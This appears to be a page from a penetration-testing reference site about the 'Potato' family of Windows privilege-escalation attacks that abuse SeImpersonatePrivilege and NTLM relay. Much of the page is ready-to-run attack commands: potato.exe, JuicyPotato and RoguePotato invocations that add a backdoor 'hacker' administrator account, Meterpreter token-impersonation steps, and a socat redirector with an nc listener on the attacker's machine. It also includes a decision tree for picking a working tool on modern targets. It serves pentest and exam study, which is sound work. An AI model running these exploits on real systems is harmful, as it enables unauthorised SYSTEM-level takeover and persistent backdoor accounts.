# Hot Potato and Rotten Potato – Legacy Token Impersonation

> Exploits NBNS spoofing, WPAD abuse & NTLM relay to DCOM for SYSTEM token impersonation via SeImpersonatePrivilege on legacy Windows systems.

- **URL:** https://hackindex.io/platforms/windows/privilege-escalation/hot-potato-rotten-potato
- **Path:** Windows > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/windows/privilege-escalation.md)
- **Published:** 2026-03-15
- **Updated:** 2026-06-19

The Potato attack family exploits Windows NTLM relay and token impersonation to escalate from a service account to SYSTEM. The original Hot Potato and Rotten Potato techniques are patched on modern Windows, but understanding them explains how modern variants (PrintSpoofer, GodPotato, JuicyPotatoNG) work. If you are on a legacy target (Windows 7, Server 2008, Server 2012), these original tools may still apply.

## The Potato Family: Version Guide

| Tool | Targets | Status |
| --- | --- | --- |
| Hot Potato | Windows 7, Server 2008/2012 | Patched (MS16-075) |
| Rotten Potato | Windows 7-10, Server 2008-2016 | Patched on modern builds |
| Juicy Potato | Windows 7-10, Server 2008-2016 | Blocked on Server 2019+ |
| Sweet Potato | Windows 10, Server 2019 | Largely functional |
| Rogue Potato | Windows 10, Server 2019/2022 | Functional |
| PrintSpoofer | Windows 10, Server 2016/2019/2022 | Current: use this |
| GodPotato | Windows 2012-2022 | Current: use this |
| JuicyPotatoNG | Windows 10/11, Server 2022 | Current: use this |

For modern targets, skip to [https://hackindex.io/platforms/windows/privilege-escalation/token-impersonation-seimpersonateprivilege-exploitation](https://hackindex.io/platforms/windows/privilege-escalation/token-impersonation-seimpersonateprivilege-exploitation) and use PrintSpoofer or GodPotato instead.

## Prerequisites Check

All Potato attacks require `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege`:

```bash
whoami /priv | findstr "SeImpersonatePrivilege\|SeAssignPrimaryTokenPrivilege"
```

These privileges are present by default on:

- IIS application pool accounts
- MSSQL service accounts
- `NT AUTHORITY\NETWORK SERVICE`
- `NT AUTHORITY\LOCAL SERVICE`

## Hot Potato (Windows 7 / Server 2008)

Hot Potato chains three techniques:

1. NBNS spoofing to redirect WPAD requests to [localhost](http://localhost)
2. Fake WPAD server to capture NTLM authentication
3. NTLM relay to the local SMB service for token capture

**Check if applicable:**

```bash
systeminfo | findstr "OS Version"
# Windows 7 or Server 2008/2012 = potentially applicable
# Check KB3164038 and MS16-075: if missing, still vulnerable
wmic qfe | findstr "3164038\|3161949\|3162343"
```

**Exploit:**

```bash
.\potato.exe -ip $TARGET_IP -cmd "net user hacker Password123! /add && net localgroup administrators hacker /add" -disable_exhaust true
```

Download: [https://github.com/foxglovesec/Potato](https://github.com/foxglovesec/Potato)

## Rotten Potato (Windows 7-10, Server 2008-2016)

Rotten Potato works from within a Meterpreter session. It creates a fake COM server, tricks a SYSTEM process into authenticating to it, and steals the token.

**Via Meterpreter:**

> [!WARNING]
> This may be restricted in exams such as OSCP. Rotten Potato runs from a Meterpreter session, and Meterpreter is restricted to one machine per exam. Prefer the standalone variants below (JuicyPotato, PrintSpoofer, GodPotato) which need no Meterpreter.

```bash
upload rottenpotato.exe C:\\Windows\\Temp\\rottenpotato.exe
execute -f rottenpotato.exe -a "" -i -c -H
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
```

Download: [https://github.com/breenmachine/RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)

## Juicy Potato (Windows 7-Server 2016)

Juicy Potato is the most refined version of Rotten Potato. It uses configurable COM CLSIDs and works on more Windows versions than the original.

**Check Windows version: blocked on Server 2019+:**

```bash
systeminfo | findstr "OS Name"
# Server 2019 or later = use GodPotato instead
```

**Run:**

```bash
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add" -t *

# With specific CLSID (needed on some systems)
.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add" -t * -c "{CLSID}"
```

Find working CLSIDs for your target at: [https://github.com/ohpe/juicy-potato/tree/master/CLSID](https://github.com/ohpe/juicy-potato/tree/master/CLSID)

Download: [https://github.com/ohpe/juicy-potato](https://github.com/ohpe/juicy-potato)

## Rogue Potato (Windows 10 / Server 2019)

Rogue Potato works where Juicy Potato fails. It uses a fake OXID resolver on a remote machine (your attack box) to redirect DCOM authentication.

**Setup on attack box:**

```bash
# Listen on 135, forward to target's RoguePotato listener on port 9999
socat tcp-listen:135,reuseaddr,fork tcp:$TARGET_IP:9999 &
nc -lvnp $LPORT
```

**On target:**

```bash
.\RoguePotato.exe -r $LHOST -e "cmd.exe /c net user hacker Password123! /add" -l 9999
```

Download: [https://github.com/antonioCoco/RoguePotato](https://github.com/antonioCoco/RoguePotato)

## Choosing the Right Potato

```
Is the target Windows Server 2019 or later, or Windows 10/11?
├── Yes → Use GodPotato or PrintSpoofer
│         https://hackindex.io/platforms/windows/privilege-escalation/token-impersonation-seimpersonateprivilege-exploitation
└── No (Server 2016 or older, Windows 7/8/10 pre-2019)?
    ├── Have Meterpreter session? → Rotten Potato or Juicy Potato
    ├── No Meterpreter, Windows 7/Server 2008? → Hot Potato
    └── Server 2019 target with Juicy Potato blocked? → Rogue Potato
```

## Why These Are Patched

**MS16-075** patched the local NTLM relay component that Hot Potato relied on. Microsoft changed how the SYSTEM account handles NTLM authentication to local services.

**Server 2019 DCOM changes** blocked the specific COM activation path that Juicy Potato used. The newer tools (PrintSpoofer, GodPotato) use different coercion methods that work on updated systems.

## References

- [Hot Potato](https://github.com/foxglovesec/Potato) -  foxglovesec Original NBNS/WPAD/NTLM relay chain for Windows 7/Server 2008.
- [Juicy Potato](https://github.com/ohpe/juicy-potato) - ohpe COM-based token impersonation for Windows 7 through Server 2016 with CLSID database.
- [Rogue Potato ](https://github.com/antonioCoco/RoguePotato) - antonioCoco OXID resolver-based impersonation for Server 2019 and Windows 10.